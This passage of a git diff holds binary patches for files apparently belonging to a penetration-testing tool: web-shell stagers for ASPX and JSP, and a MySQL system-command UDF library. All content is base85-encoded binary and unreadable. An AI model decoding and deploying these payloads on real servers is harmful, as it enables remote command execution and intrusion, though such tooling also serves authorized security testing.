z083vi0lFQ1WV@eL21sKx^U!$_igEtR4Oue)Af9=|+ydxa(rAwsE}4vVIrT7F%l+ng zUsN&J`!@hFI1X8cXn!AFEG!uTS>svPLwtCcy#E{LI0 zL%8`dMb*X4CN!26uAcIohYwmbSWsK2Mu=6SIr%yv>YE#YN{;r;ohq}t+-t6g!_=r$qm)#O;Dd@BDWxHExYO*}Ho7>8qI5-ku* P2)RUFQPrk$W{GBu6oE>U diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ index f20887a96d6fb364fd11c6e5306a1581cd1b0274..3694b2c153395368021f563a12edd6c419c099a2 100644 GIT binary patch literal 529 zcmV+s0`C1is`3UuIkI#lG>yvpoKt@kf!FWUUvg<=3*b({1Ud`fs*_MWMYH!UO#qp+ zu+GZWKzU>j)HI&dTn~RQOIt71OS8UU+)5% zHB4mSvzQqs%cSb>sR!=*21H^d$jiP6lVVap+?9GyU4SoN?WxirWp78>V=DSX^&(K- zeB!j!Jv0&ka)Po?D*b_Qcj-!Tt>ntJLERlJ)vDhUAn_Dkk94lCnssW_!Rd`8AD@0EIlH^8$Uq=NwSB(~uhG9I*WW)x4}?!Qdw0GI-ZiH(DJEF1-n zYo!`~%`rgm`@`S;HCaCdky2*GpnJ|6|&(z9_LYPRNhP9da* zitEJHILvIXl9kIAbsxm3tWe=@%3hY}vv*t^vLmF=w5NU+0!>?)e$9U?2O+-MWy%bi zO>9NMoSg`B$c5M4lOo{yeq=)g=gzNPkV9{B=CE{6C7=#|!mPt}W=?wRSr7C>jRJB1 zQ|G0DJ{2!ANT<9{Qr)0YSnOLQuEqCpijnwWXDZ;5P zCoj9^X?@g})ow?;t~fjp^kC;RS*(uurGP`Iqh()9J99EreS;x0^t|2&OkfJG4KZS) z>QqY~m0v&Ce`os~)v$DgPvDX~i-r-VCzsqS2s^rP9yD(M!Ma_%1GzuCv#5=DR6HcF zM4$^MC5!>glquy8E-o=$EQCJ{PF|cNLlS8{x%W5lZ+mt~Q)0a6iYu=i7}65aQ@$q2 z)e$n8x{Iu)o!+4RhcLl0oUUib9jE#6QSiClN<)5TN5CskCK$<(Dub&m@HmQXg8J&d z1In3b`u=|{G$0}OuJZMSGJyc!Izo+gYq+OV=kMtTyBf<`>O#}Vd#p-t+}?hbuc>5} T{WAvem4_~3JwPXMC0ZQiRQ?0i diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ index beec2ae56ae396d47d2c49d20b2ffc54d9df5fac..f70ac6f9efd09a7f7f37c14d610394ffc3c8fbc1 100644 GIT binary patch literal 1321 zcmV+^1=jjKs^SC>If?=xx2!sH4sM8HRy8Kbf{Ot?B$&m~&kZp6oUpsrU}LEUredNNSWTSn~Qn&1x&6sum|p<26`@HFw3_2{sm2_Zlirp`B#!+f9qxf z$WWxBlpgU#fQWcXq$l=NXjnPv(V2Z5!Wm8+f{18qPL#HrN-6R z`PBHj4N#{3Mb$n)9a(id!$ur|LhQhghVqD5$t$BU6v^AIPeFC3Uync33*j=R`QCN^ zEYQH-fGW4Uxp1mcC`zX^57ILMWs{T;Y#J(~9&mh)HikH$SOY4Os#+?OU9+?TAt~sD z9Az@)QnY7DIoif=K>UR2E!Ox?5LNCbLo9ccq;K%uvmMnq42usm^F2aHZ zq|&nmK`_-|FY$@eewg{!F`C@ezd&O9iOtp*OT*-u)2m&xPkW(6+#o3lq8~_N8q&)s zdi812ngk~Aetrj1N(|Xld#7jbI3#(|zwBEv%{U*h`9APgf@n`xNaH=T8v{5UYBh}o zoBxWV;_$WO$$Wgtbj9gE^=-Q%Y`MY=lS9c)7opXv%nCOx=@o{pAQU{*Jaoru4Uvb* z(UWGBefTjv9XLqT2&h$1!bs%dBHv*fBl6z|gswzxNYZq1m#ekzC@it-Nin zJeN2y^juq`@90tqK;g$mleE(~Fs!D4W69{%d|yRSI1BnZs?{(fTJdQR4V?zu$~yP(q%Y*vsnQ9U=Cg~p4T*Ae*iP>Z1<4#V z&7^|LLyf_bkSD)I%8Jr4C4gwN%34CLm*dmLAg(b{UT4*p?iY2;IamdHZ5M&Qxv0!HD`>Zs)i3|#Sk^-*sm=Gfw_NOt_=0doKRgE;9|6k@GBpAu7mXz3LQ){s|bAUAjW7hvD@Yco7ACDe#)Dv3mb2 z-KL2*QSkH74nzL#%b3;8?~XE9;vgD=jnBzz?L)c|hbb}~)I#dq(Ogm340^?56S(Wk zXQX_Rf;-=+kc$R$_`flq&KFh5cSWwOJ}S6Msy9{KlOKjYL2NKZQrP@rExCls&m|u# zN}J+G$GN71RbBVebG9TIPvabBQ@J8Wm+ZJ{a6{oW4US;o#0I))IUYm&@zU!WV;Ut= zXL1nSaX%a8YV>At)x3j1C?ee=N@DVyizg!ZzsCUD%BArn(WjFC-Jc$ov5*A#%)T;^W}Ic#(YDU#PVlI8-9i*-h?AQz literal 1321 zcmV+^1=jjK(!wP!7LOBkw2cQqG)snIE)@sqt&R|AC%O3J^(a30VnllYr4EBa_=D5%kb_6KGHg-*mPI(n39mf-RAW9 z*3s$j4sn~zfABCsWqDK@>_ZLILCyWWyw`?Uu?vC`JIu=XOkhZrWvVgMbHNjb*4t#N zFY*2Cx(~U#!BC5E2T!(P4D${%U$&YM6gmrnF?DU*HKzrVVkRV#(s~QBa<-*cA_&#C zCO|ypDwIZO7T?!8L*2R97xVJ7rY|mNas^@kVSK@itOtpapvlotBZV+V1BR>-vJamm^wycV)E(< zRq%L+nI#+DL|X|`GA#IYRHAmeI|W4Jg~?ShwHQ8;);r+?fk|>?a>g^WVtpC|IHbh?&npTa(=dpwSTr5=6LHo*4zRlW z>$Yf=1>G$v6Jc;h2kPCc$HfIEyP-a;s=jI>G&A(7WYk$;wM}JzZb7poAze2F3E$Gd z?+2t2SBvr|z8qeRv_Ej|+WR7P=rnvU$c`kn#czqWF)Nt9k6O)tpR^ z6Ot)q_kCuO)y-T9IK>FWp0_wa{0#6HVv=~_^v0)dxqI{m3;zD(Ao#8~h{JN>pU<&k z5FPKD%-cb;%;ewE7~_=ys%(z~aHNMI7&|l8ys^S2Sep=%(VMc};csG*F!umjek+fxw16L2_x#VDH@FDgvKrRWiz@Yis`E6e+?Iv6b*ah> z{_#IVRQue{cyP^FTM+PdoWqAS4vj?)@*)fR9YZo$|Gmn*cDG2daC1~Gpl;4BD$EUG z&V|4Dd8p5l=m(x;<&VQ;CZSb<@PACL@5A!s533*?btb&%%2eUeE-&vcNy331mg2ab zRrKePa^{7nabm>6?KVjM1APm66*r)tmaW}lC`pQ^?+WqcAogMjhREjZw0+U9b5yMm zxR||5(*}$KLdPpdXSxmW5(Nn}Q3Oo)yo&1DOL2`po>=mp4X zl9*Wj(Lx;W0}kK!0X7`MlF|{g8xO`}#mY6N(F_T}UYmcOy~O(%05K$72K9^hvRlF# z=YxkgDbUjKAx7`J$hqkM)vG*MngBbaqRQAl?qY`{y$n1YtYXXk{#ihc4_o+ADV^oZ zAB0`Atv=5Eld3yG!kRyywl{R>SU|t|Jqv|+kP=(m>p!O-ZfPM9QTf487o3X9w*@{5 zWuEgA#F(40Z+Q9A3zh{qVCD@oP?#Tdt;x1&2xGt$B8zdg$0vtd13OLpiSo)jOdm7{ zWK%8fOBxmC64Xaf`ni%7D+AyVa7X-{^9KXjkirp<$%M=n>w=vBrGnLE?W+ed@7ZXd fxN%#s$*?8ayyCeHqePw@<#0fhcNs_MXvJ?aE3kDZbfbpYE3h4q&L|GkVDA@0n$r~{7qJ$P=d%MWN$wz(^g zILr5)N|Y$-7eXW~X~1wcmCo5&0fsFrt3R9s!)qpqjK-9uP(uKvZsJ|A zLi=RdK_8t)@hyQB+B;Ns3rwoh8K)Ang%T+e<+O~&Gea0oYt0XdrY2lwwp>=XMOo1c zZH@?Q%+i;4TrDixZI5q4LwamY*JH+?+moGJJoTj-)E+8Y5OQSX)sA(=0fhcN(#qki67LmxjJ&TVPbJj{{nfT3(72sVBG2)Pk|u!pMOaUapGPDYe1oN`oWr@pOoj4#uTE&zbQGk`xRQzLFKxKNh^-(F3cI>!T*{_)C1%qP?O8P%)uz97~_3?%}s< zQ8=&?0<(14l02Oc%_`d#I7c;kYT-=;uj|)Yd8P~sggT8;z)Bmtw&R+mC}SanLFY{6 zLE2gCdpeUwi4CAM^*%)-2yK_)BZ3^W{W1tM%CVi0Fk&TqQRo4Q-UfX~nOR5TMtJNw zSE~kVwDPuAb0|HJZmv>rd0%2puS4g)^p=bcKh&5g?mHw}Xi`PR`io?c=lbVXXRd^+ z;(esJB1EL4{}J+k2b`hr+*07+nN>&WRSlU4R^xjMmY{4fbAsu;VH7S_NUsw!iR;s` Z8z!7!J>jx`0L^MCgcd!IuX>kspqWw0w@Ls2 diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ index f401c80040626b5e8046702e7e1c0e7658646aa6..bfd4440ba5feda2c2dac8059ba903b35138bafa5 100644 GIT binary patch literal 2512 zcmV;>2`~0Ns+tNPIy;jk_B4BkAPcPFmwGv9*{6o|vQGv}k% zyZhx4h*ipO%hS`n+Bm%F)dZbi=@W|yzTcj<*RGeprn)o%kIzI-VTbNpGD7zJs-XP< zbbFj)f5kBIb=`HQlj}6Xwh9>EgVSbdH3xa@=z0F2!^>s%K(}X;%2?p28o0r?d2YTU zze9mT(^#T=J=xM4Pnjl=ECPMW0fuKpM0KBK>~Aa)nQpfNQR_f0fU+c%m)KG;G(!zi zxm)UwN_l~i6RszY!jpZTh~AC8?pp8R==inhrexfwXaDmB!7a8x9Wi8X54>%c#)@l^ zD(+!YuDhcwOa&1vl=B|u1bw0KaT9~ychk9z7B#E(#b};+~k0a zl9j{n0Ub&{7BD%G?FdMjtDA*~gPobMx;(wEd5AC!>WjgSHr`&~-}&Y_Q~78xv6Zp- z@_jiSyfB?s@SVY<1%o?4pt>xktNg*n!P$BXf77v&rtg=kSU3)O`;RFc(TwY(HDvBk z(JO}}r?H1fspXE#q+Xg~T;C_AM0lH-{+C7azR{Ulp!`F+OSO$gs}tbA+O9{w3)SV- z2r|DN8k)D%h9+y9kvwt<+afp}#hg!hcS0XR`j1N z<)-KlY%Y6^h~?({zJk+^_FQ z2Ey4)l|IU$gSW*wrb7geLby5(o1P=PezyfVrsD+rtdBOEpP;0EfQy6+V@wQOyU zMib8Nz*6`T(<=AilUMhMC7y)4e4NuV zl%I^RS-tH$@YK0L@@(5(ACzFhmQr$wQJ7DBSn%Hsc^XW`Q7}EwHw8r7}kskijYGJ}zAlo6Tclrys{&-w`FS~xU31zKyBpCE5>P0%V zNx=LH6!06IS7eHO5xG{22o_QVI73r5-t%OHV8$09gM>^da=)^=<94WvO%IUZ%E2pH zjNhE9wx-@mO1*o;UyA3(OR;&nj!>nLz9IR8dIDO`Vb~H;wQTyOY3RyL=ufwD0}~8j zrwAJ-J?!ZFXZs^tDCIxcVClk2oDevG+6n+2qE1;??B;)86Y1wMlP_<%8EhySiuTGY zBJEBglX525NT%KK76z6<+-;NE>wcL7e9jMlI7l z9oyXxvRj}Zo3!{RO#6rL7#P)B_!)=oh2Q!D{!!N$Ue5d%-Lhg_JkRLxtA+naESdhO1k*Tz> zfU%Jh2`pu&8R`^nRwVwq*L_-zmrL|dz2B_@>)EHcT>?S6^pj*>&n?&6y=Nj@Vv$k= zAo9PFvSIA}VR^jcQy7=q$%B=*X9zvEQya(^L{&&G)~<7f1BZ5_kg2slEk>dW&dQFc z>Y${3bYjw|>xPBj2c+&OYru%E=IqZH`&+R$l+(K#3&h@(U1}(o@uvlqhq&ND@3mZF z(*I0#qNPUXeI!Na7lwp~fDODyv&$_o^6wOZwP^r6D;fnen|qN2A~&s%@{@7aUnP`L zvKnf08v&nvVZB0oN=iH7&~Lw{i8#q9M>Nn}-0P-E4kY`!jxfVMMPCWOdM9=z<%7gk z)LG}F>9c)`~~pR?T;^ZVWOz* zuhayKu1p7-QiHpArp08>S~`@Z^Y#+ zR4IjbXp4==iy~Ck#;CfAwc7jP4W9+znzfoE8aT(_!cOGmk46`g*G6S^S%q%0;fet8(>>XAw^am==0Dtk zGL*~jPCO=pRrMJw7aHb==!r~p(GeQNp2>2F3)2h~Z3c2tSjAk*9h-zO0JSn`iZ3Z4 z&U@*11HNL_8Et6se! zsNT=#>g#yawsP!G)xlj9`0Zz=t-`75Q$H8U7Opfz*fr~k5jda%FMwsdNeb^0b%^^A{fsj78K z0IVI45=e7jpE#bEDXDAn%DcXEv&>+`0%I5eD68RgO2!u!th0&)4VcFAx?f$4a`V33 aLNlrx4cyOCZk-+Wv(^P^IK5*JM1|Yn$@`}O literal 2512 zcmV;>2`~0N(z+`?6+VJ+^%X|78ZM&Y?^+m1_M(@e=6gtzFi0)O1s2=kuzyDYi&mC8 zKLNj7@v!3$xh?uB@+>wW%Ch1MRYInf(|G{Vp*fN}iLxNn_+mq4Lm-a5oXtMC3Bs+{ z!`s9#r%>BE$nx%w;2pB*tt7mD#ul1fz5b(w?TeYe-kKF4pvqMnVy4q+2xs{G(tz9{ zTYil&q46nGXqyfbv^g4?9OzfLzY^h@O|#6Vwm8TR%@?! zykfj@>3ytwMfvkPV4OF_FC#$vJELhtJXO9#!)iT5noo)_YtBwB_>u*+xZOi#H)1eg zgMQ?XGFhOoJgYX_!LmTCvipO*mU_;>$Ni+erA6VDUE2Kxxeb?LGBkBN44qJ={I6w^ zQqDkgfxfbNPbA#7XSRuB6~bo#Y?N*KusaxSly8G1N3PA!lM?LNy)VBe=kf$|-;t(ihTxx`r+=qYX8I|nJXpH8(UMfBz3`-Hn%PadGnK4ogckAY*^hdRG4Siv za1x$8HJ_$|g$Guts~LO=qXHQ`>X}|FbYmiL!MQ7sYkPV>1YDXT-ctXzdYg|V7&~*n z%A@&OZx2SlvcTy3#-j4C*<`Z^o$foaWIMjj&8ZM%j()I``rcixSH35Nl@^SCF@-<( z1>@v?uN%an`^InN!>6v_#pAz7a^o5^HjDjvQ#e zZT1`swc7Bm9ZW6vM>h_U3#<8IP(eq(qv)<#=s}IMK**usfiL81leBg)Aot~&XZ|G; zllxaTu1zPkd5uVbg8isz7pmoJbJ9~VDaUI2b|g!h0wa*b@6FFVywe0u>*(2l}z z8q?|w1w#h}JOAfn6GY!Jv}5yU^#DNJt%CxXy3sCMSsld{TRarl&jb6&xy~pGk4a;W zo9-#a(h*dMbY>wBQSw<6(5Rghxg(C9)Zo`cd^W)DxN_Mr{4eIUkao(tAG?aX1ibPS zyPBQ)TAa`c%JH{AicI=^Fp+VTm2*$KYrR2yAkh9SRv%rEQV{^+4IoO}o5BM0}3n zbLH|1Y|uKrcww6<5}0ebGBaERKx1+j@%DAmW9KRoxuHTR3ZIjk%yYTkPA;v|@Z=>~ z^#8q!nWN7fNt{OZWv}VRGm%)Ep;ffSy#U0qKqpkr8Td1BnrZ9sYRUJ1(rUSKdowLT zhz$yIKF!t1UEVEQP{khkPwdklpD_ip;4cmx+HQDu!{crW5XjmCsS07aVN3})rSsc< zA?aE>LaK`&E1}&D1nfj z%Om*GxQ*cy{M32KQc|V-DAL?!wXeB^x}PjGwz?GkKB=SiNsfh<=v6k=Rkp#(co#ec zj2q^^@?QiaOw_@gcm#*HI}Mgr6r?OZ7{Td&GHy(1Uhgg2dlFl-apvIpR|NMiL%8}L z*G~2CjAUEFGJ_a{`@|m{4doA;s8E!)?k12I1W+xyDaYM}i1-$pC9~-;!u*-Ru&^3b zBq1yQNWwKST|w373e6kLnzdvR=9#5m0qt;j@YL$=isY-Sk#D3U-}HgK$1vi?F^-0# z+EmdCB&L(Z$76!n{?lR3yG^n%C^nX{zz&1+MuPU#I?k@$zZxzbB9p6;VzsdY>4}w* zue5+i3JqA5BhMOcE(G73_;^d$lxoR+hx(%ellg|3atBcF_p(`R^$6M9#YY2rO_W1X zBh!MTh(zN28Cjjed>w|4%A%-+T`e=VD?8~nYfxEx)sIfMIih%@=!ujb0zC~e|iVM0tZ(F%7)bd z*Lc}fZ;_k`jX&~sw6;j{NXd*}8Na&4RK8-S;YpWcROv1IIV~7ht*Q5XbJjEGmt_rx zo4|XN*V{RAL1!7y=gzt1a-`(=>&!`dU<5)2_({TcTHS8UAAVV60|Snik4W}oX|Yak9l~>(HH(>KhN!iK%SF6j!Tz-TRm@!pWTO4LWQP>= zbrgxCg|(GJtG~Q3b?6k#qm}4!JzivZ4#B^Bgzwa%XmGl}GD@9;#vuOEm9Gw0PN%uJ zto1p$lxYc?Dx;cNiNJN5SsSUA-_?fDWnl75WGJZ#iB*lH{&CYQ+9CD7NF2Z(?--rt zZVZce5UZ@|q$fp##fgWwkN@@Ib-yIRwXlnJ85#QR_-pFq_hvS;_(OCcTBK8e+o+hM zXOG?qq@6mu2ES3LZZAOjc^K%o*(_8 z9g*6)O&uGsZ_pPjZ#u`O$BbPe(l96Xr0jf&bMq}VLIYz2TjXK*C%%d>c$E`Lr7Add z&05q&Ih$aA-Wy1zTuadVmH@(R6!hd|NUG}et aK@yiKH~GO*7QH;zoYNFMJDgrUexTLbRQl5Z diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ index f442d1f14de078a180462da4ecfdc9254eeb739a..1992ed0347e32a3090e4b5804bea5bb48c9a2772 100644 GIT binary patch literal 3200 zcmV-`41e=IszcKb6;zP`pjn~9%_Epvm&Mg3_nkUq$0Dm3HIOB zBAcDiAh!J<4Ga6b=NVdtbc)aRVS9Zrvpel};kg?W!weI7vtCjVI)CttOuhr(cW3lb z-EXeDQqjRYvPf0gcej@gaI>EYN!U$X^|P!?(^LWAs(j4Yuor@&bZJzZdMPUktw601 zNTgZ`wVOi#%49tpfF*A=vFrI{O@&Dd)=h`>xht0OI=hq7Zw>I&zSen<1=v=Vgq%g=-hagVUGCMnc7 zl)o<=F`J*GJL+TE=E5pB9YEFKTkb&rN1u??j@kFm_gUQ70Y;|MuP^!pH3ZMYip;H& z;r9-In!W^Mv7P#Koi$rX14?UnGW6$6$Jj$4;RjxxS(o%cH-1`hpmgIzM>901)sTzL7*|{-nkhD-uh?~ne zwKC)+jYy^VPj$a^E}6L3TsoAWJ!85CGbuwFr}PvWxq)H*C8v*l(S7dP13pen=z`8c z7Qu>YClB4C`FuRVRrfQa)J2tP#+3wpMG&=4n{1V#Pzk5M_Ug-Q)%Ar7J7n<8y%{~9 zsw4x#X4@bJwarcK?QGuO=Tj-B(mXaEgL*FUZfY}c{7*;Fi~e{qEZ%3DE^0GT{7;s< ztwlWugL=`Lq|v4UFYso$KcSmEPFtpquWPe*q6S*gJw?4u-7}5xB5Si4q6V7K!~VE7 zgL*NVTMRTnQ)}?fG@*-;#R2xVGqw3`)#o<*bB6{g&S0L3Ae3IdeLA!qZzLt!${--$I8xc+poP~W?{Qs~Bru!b)8PAznL9o&0!S%Ra?(DY6nB18#iIp3oX#{e= zZpyqSV*G#;h}r8iHjM`AB5?r<9}lQJVND>&!glSONWXh9=;cJ#9^jd~9iseUFvYd? zyC<~|#@+T&#H*l;nI7!-7Zf%kTC{Spa-fB-ju!`*q{vvi)z&-M@{yLV%$i39te=3T z`oBK(J+L1yvyqTfwi2qTpsNbtnAjh;9)p)#+LyNf!?yG=g0g@8y%9>7 z*;y^eJw}%eS-n{sFy1>A@i~>m)xS8us|qo{fgBNZt||O@i76wEBUxRx2Y;MVfCm7I0F`nX1xWp{Mif-rfn`5no5x@-_N6Qlu^fnqoWNPHav!!` zx~)IxcczFTqY@9dTh9$ib=HW~5Hh{$KO$%(M)#-sO^E~)<3JYo2Gs4H9Lc33!srt5 zumsLG-;kA?-|ml z94Rxdd!iIiXP?B(nEd3jtHxHUwOYkonLdiZwun&9RFqPHQ!-IcgJp``wp}t;w$sEN z$&IAfvrV#m7D;(7)J?-z=+EUGX?a8)KBTQ*mhr@h5*KF8Y#T{EJ=a{CeW-t|w2dUq zg3x#Zji6)GCct0sRAcI_Pbss50*sC9kCZ6*k0s4`sG(u?iHn)o z<+O1&&`~o{?HOP8iDscy+uv)ycE{C_;rW>nx`xHVb^#pneSkb!Y3ogJ>3_Vfi3JJ$ z<+LS7+3_nt$iMVX)n!Agl0d@V5#)dZWG6VhKagO23bm~;NWr$Pt&~WO+qT+&00Cz> z4AY^}B3oIauv;H)Bvmw{3pJ#k`lB2FyZiCtntOG=LFH`yxs*u$mXl0?8onfdLWE(P z3@SP%uD7Id+obJBr4x)z$@u7EurtiR7Sgi5S5EILOOSHW4#q-CRCDSUJ_^=pUPoh$ z&vGX_dZyRG!DhTdiY1J%o|?z$!#)5kgTZ`$+(7qDcDFE(L$Ke9hFGoLlhyzOl@F1V zQ=uWxf{w@`-wvW%p~^vdGb)~@Kz@%)B#d8pmpnJL|*ML6X>o|K~QqXg%qOy6S24HxoXl1*9e>K6V`St4y3 z$Yjz$MuX6bzEl%=84I zl2ncGWQrh}DNdckw9E$NSviS9hA5nv=`kHaUZ%&h5bNbwR4s73X*txp7we|_R5^@``un82|5#l1?Z}*_?Q2e zWU-3g)tK^lxtvqWD3&_FX+K%lj_47GTjg(E2@H%*f-8x> zH6J&;5TcvBm7XS+sNA>MscM9s;s#gpaDG;|!0BlvW=dc8oF}(d4<2%{o(H|Pan}Cy z4W5jJBbUG}H!k(NpE-M{TaVtOVp>1~i5}y2nVC8@>Sh9v&bCRMvbNxeHjgyUP{813Ksa^5viZYC%3`upmRV+GRu3?ZO za)DF{&AVbDS0` zw@bUAF&kRN$;v>3_alzI{@B;~D64CaKG-r2Y8;S&R7gEsrrsXPF;^+DE1$>j)PPKzj*Xctqfj?SoV}X)t@W(@50ayyftV8O zbTm-uR4#$inS%u8eykE-OOL-!JZ^NTmNI1UMxjR#r8>8I)fMoFmdDDAgMw= zw#utjz9Jji)XcSNK#@AllqCEMFoyfovZRK;Ym|&fvpN|MtxCN#+(>LLUtZlB%9}ft zj4impsxa86-tVEhZCpLIY+nridZmEloyyUfKJmvI+TGEy`NmD0rmMu8A2Fo5+C2cY zSwxI;fV3MMG$^Dj_x)u!@ZfD>geE-pgp*!%&@btf24~X5n-^uR$nLp0ORB!JUJ3OX zyShF}GPkpn5aF(!~!)B(Q`)k=H3EM?!=`^#;PZrsyjpWsa?!b5? zEaZf0UoZTF)_EY89j#m`$jYYAmV0j>_sy`tX!qI7Q9=hdeW% z(gY&oN!~G2w(M}<*GbUcpK}O@{W&K~fLjy8R8Ku`gl}f?r2A=PFaKJo6i+=-gm1T+ zf zfLjcxVJSL5D@)Pu8>E`V#vsdt36S?~t;ZMIT!I&T%|WBM8nIBm1sat+Kp`}b=f2{i zZwfJzD9PnCx3XE|23FRK{63QN0J`ZsVHwOj;zhqU@voVcoqUvi#*UPOT@)4RjD+94?g(TWBuGx>n4(XS!-->%@8FB*mAzWrE#6AHbxb zxCV$l{P_4$yo-UYwj2GT6g3MFV3B;W3V@`Kp%NC&r|D&h@AEa-im|tklgiqofcuS& zO`7#6=d#NvUm!~}jA=$1oHzy+Fw{G;747(Wi z__BI3K_rJ&R)PHcFHz%b`(`fp)L91FemRzCd1ON2l61c6xCoF;-y9P$G*Im;oNBv%A@nrd}MiZe(WTDb{KVP_1^P zYmOU8U5f!7r?B8<(jX2(3?&-|BM1g60yq!0f6%t|I?NLCZUFfXa7p@=oO#FC8YyQb z^7B=in>nCW!q>lo{$nRPBPCMz?vyTGvuX$gSuN znc0gzz}9^prO5N&G${pF>9x2@W@tc2(zn|6=-e59qWg-5IG5ItK!Mcwjwd~DAI85i zNg3-NY~wNc!eQ?G!VP?;V6mUt`l}24J~Vauu3#=TnC4v^%zz>h$vmm4v&BgIaXyQ0 zfQT{Z4~D4#j29l_Sne=;PxFSAJ_HN66*jki*4D)4In(Q5WuPb0BjMDG+aYtQ(Q_NMud!hx%AcD5jI=@Rz62PMfZKXQmtfCQ1^S0V=RIUR1xH4TwE)9-(1AeIrjCe> z=9NqY>U2F(l{tRbrem-G*#1_HOyb*+nc287m4nombs!cJ6s@kNm4bQi=+`j8sq_ z^eunlJPeDnS=lt_d_?*xHk>qjqLHzQKhkIXDlg3=oIQ!Atpok-{;7*zmARvy&(%4T zsBwev9I64h21|^Vx9vODV;qM<{s_If#xx8RU5EOCD$eUzEDcebMm)vt6v~^(ZXM$l zX^w!b3UT5rUl}VjMewM+v)|AJtNOMIXqZytWbBB5`Ew4${XFl3w_JdRu96BuK%bx`21rRGans;eaMTA*OKnS zXOOq-@4ftZ!Mt+n2a_w6Y93_ew9OxfBgIa9CJCJzfeN&aal5y^5U|T1M6}Do^>Uw_ ms+GkEDk#al2KQJQtb?wG8Q$n_h!d0CFUvi8$>fK0LK8dnsql(}^qrm2%yoO3u_h z(!sX?z|cz8!4n{832?UoY<(M^s|Cmji)^2FVz)3;icTjKjqch49@y{NG{1fCPsCp3UwE zBrT1`)B(`(TNnkz$VT|iNZW>A8YY3_*r{S~OGa8CGF7R$sebKIcG5$v3?TYt&fl^!^6v#ip z>a$J@`(n8KqgB~jr*Kq!f(;S6`;^&?Dw5y~d_>%1od%rVSSabR40syqhYZUeD1V>$ zXT@%F4eiW8mZ{)`hp8c-L*7!&JBuqW71%SJEhU@y&~>BaU_EYm7{aOYz`W8le)!xN zebo6T53SjfDx}XUacJgInIG(?#-rt?wUE$Iy6nFB4q&@otI^ZMVX|#T7`^>wHi<9# z_4coROXFas_O86sg}nV)t)`CxbYiRZ=xRpoV)N#qe|NV8mjBnOaMH7`E`x!4n<=uQ zzOZzIh!We1OD5IUjqNXUYly(mzJ~ zjHo>Cr3(8%r{$!avci$MljW*;-Ftux*frt(TL;`k3iOSgNI*+n1Ms&wVwJN%5$NRY zD+8+VJoRv736LO_j@sPmJXh<6J#88s=F+=5e0ugUi*BaC)Mc*olz^ePWc7zG-CNym zESL6OfA2~`13y3 zvQG#)9`=&JDW0%8#f^rY&;fk88Z2&N@{+Hicz*q#I9G?#vc{e~Xd`SO^RyXAqzRXQ z+4m?h*@10WV`Mf=mr~r4p|m%C@H|q?^;2iJbrtP2s1&X|8?FvzZ| z-WfaRI|86&+$VD@0ISp}gad7gM!3Um9%ZgIii7fZVQRx|;se;xqj7~(ks%b7RrzRs z-$kuR21hQ8Qm-6wNMve~wY&aYx$)t;L1WM_V^fq;361h~NtwICUD1VGqVkZCTptg) zK)whJ_Nv|+wu~HzC+qR{BfQc-dsmz4#%312RB7B9Y1UnfwQv@l|%B-J%e zIYl$Ku%%f_Jjo5Y;MF8tshHp5=FNf$y!%<^tTw>qHS2A%pAxbf8fp5J@E(mmahCbv zj^O4fD6eJ`%7z?xw`+io>=-imXc>9_>uyaJHj&S@87woU3Pbt%=9Lv=+hq)vHP`fx zHng>_XRTQfHB=vuk&KCQ(9Y|b2(24Bxv>r*&K9V^DGX;=>k){Sz-Px)6Pw;q#Mp)H zYBDsBl6C&4#s1&k&%w|(y|KCbVfz(4xun{I=Nf+J+bw;Yq|eh;pqZD<|LfS9n4=C& zlti6hkE%h_l)teF#S)##ikDo8&V&)_stC8`rn|SwzC|#m2O%Hw&#}wAGekbCmC;C% zWQ^~sfO`~sA`>wFCB0->&cDry&Z{qc*yYE~qx{0Xf02s@46W-ozg39ZZqAUWv1QVb!OCZBcTNXJ=WFVb_HAmtRMUI%V@0h8}8fyH0UH{>7U1yst`oX|T>{Bf+#UHET6$O`Gf(^uP2&Ke>|!`l99<@P z5?77s^+nM1l!t%p9_B4YTL&R>z&tuk9e#%-{o*O)V_{w3RcP2HL_XXFQeRec&emAz zG>)?oFI<#g1n(uDo-Si>>`d=q2hf991e5pZJqXB#PA*W4BD}X7@aW)c}S+TK+F^XRV`swfqHLx z8&Eh{k`tr(13ou+_}crO`~`Ja$d>9cs|(Q!fQ5|6J2RVwN#YWf0|CAM4$6?!Xy+Gh zIuYs~9J$Ati5q;wG)Aec|U&+#|}{=sl>lOv<0v=NqMjxWL(Zav9Z1ya`mCwR-I*{e>s! z`a4fLw)B>-QhVhF;+ga;!-8hEhXEJvY}}pRa&5mnKRI2}UzQRsB<9r=qZcR9nNjC` zg#5-p)0rr1~k_hN1(+xkdyQaZ;Yr+e5<#6Gt@}!cN-dEf0Z9P+{fb6yV!p) zvDArGZw7#2$f9k7cBkY-ns7SB(3(yYjCGSgr|2F z*q*==*V9Y6rGbuigiTLND6t2GyvBp-0jJ<7br9e4fN2ux%L$!)rD?3qGN}96fe3tS z*4Bz2ADIaYOA4IAqmQ9L@*2l03-Zr>EXQA>4=)+@0hz0R-Xo zSq@*>s1B8STpEy=7%CqC3Lyw*@pHv7!af5LiJ#8SNJ|Fx9b}pw3HLeIV}B#+7Q67{ ziU9VN&)hPYK#Jm5sY~mq)@PnKih`Xa-No`D-hsiP9Rx+-#yR*=MxE)@Q`pE0yf^AB%ocl=0Y&qKJ(Z=HN}55Tu$gbE;E@Upiv42VgGwywp{ z`w<*=f>`VF-Nm;r}+U8ZD;EaU`O@8Oc_v znkX%~Up0ktBq%Y-Q|RsFFVCM@$abbSI}Qc_8vu8p{~mo@d`SYY&!L}aD1SCRIVuN? z-ofdH26;{#R<8@IA~ysvXntc*$=HZByWzANxM@%Dju7rlrSdcf%*=B7~nVqLYG_2YWadx@;Q=C(Jj+C!UFwC6KoJa&a(KN3B-hEUOL7Tx|UydCE znF)7Th_?$MTwQ8W`vcqV*TtH4Txh1{TN_!Q_73`Yt~OrCL#k1^*^5>CLwB5kP-eKU z9b0L4iSN)iGabw19&2$G)a94turWW@kS<7tP-RsEXw_6P8LelWzCeZ#{& z{M-$!=sSVQK!)}oa*Re8asnAgvJFxWImS(ZVl033B+7fs&R4E44nbCJlzV14Yd|MU z*ilHp<{=&5Ss=762}2baZC46HI=5DI)@^99Tn@Hbonx4?t1((qwv%e3HA-l4{ZMD3m&>Q>Jo0lVd<-dL` 